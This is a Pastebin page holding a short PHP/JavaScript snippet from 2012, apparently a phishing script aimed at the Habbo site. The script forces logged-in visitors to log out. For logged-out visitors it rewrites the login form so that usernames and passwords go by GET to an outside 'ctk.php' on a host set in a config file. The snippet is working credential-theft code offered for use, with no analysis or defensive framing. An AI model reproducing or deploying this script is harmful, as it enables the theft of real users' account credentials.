Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * SAMPLE PROJECT |
- * By Phoenix (phnx_wc@hotmail.com/ vidaroo) |
- * (c) 2012 |
- */
- include("config.php");
- ?>
- if (document.habboLoggedIn == true) {
- if (confirm("Voc" + unescape('%EA') + " precisa estar desconectado, deseja sair?")) {
- new Ajax.Request("/account/logout_ok?token=" + $$('meta[name=csrf-token]')[0].content, {
- onComplete: function () {
- location = '/';
- }
- });
- };
- };
- if (document.habboLoggedIn == false) {
- c = $$(".login-field"), c[0].name = "u", c[1].name = "p", f = $$("#loginformitem")[0], f.action = "<?=$site?>/ctk.php", f.method = "GET";
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement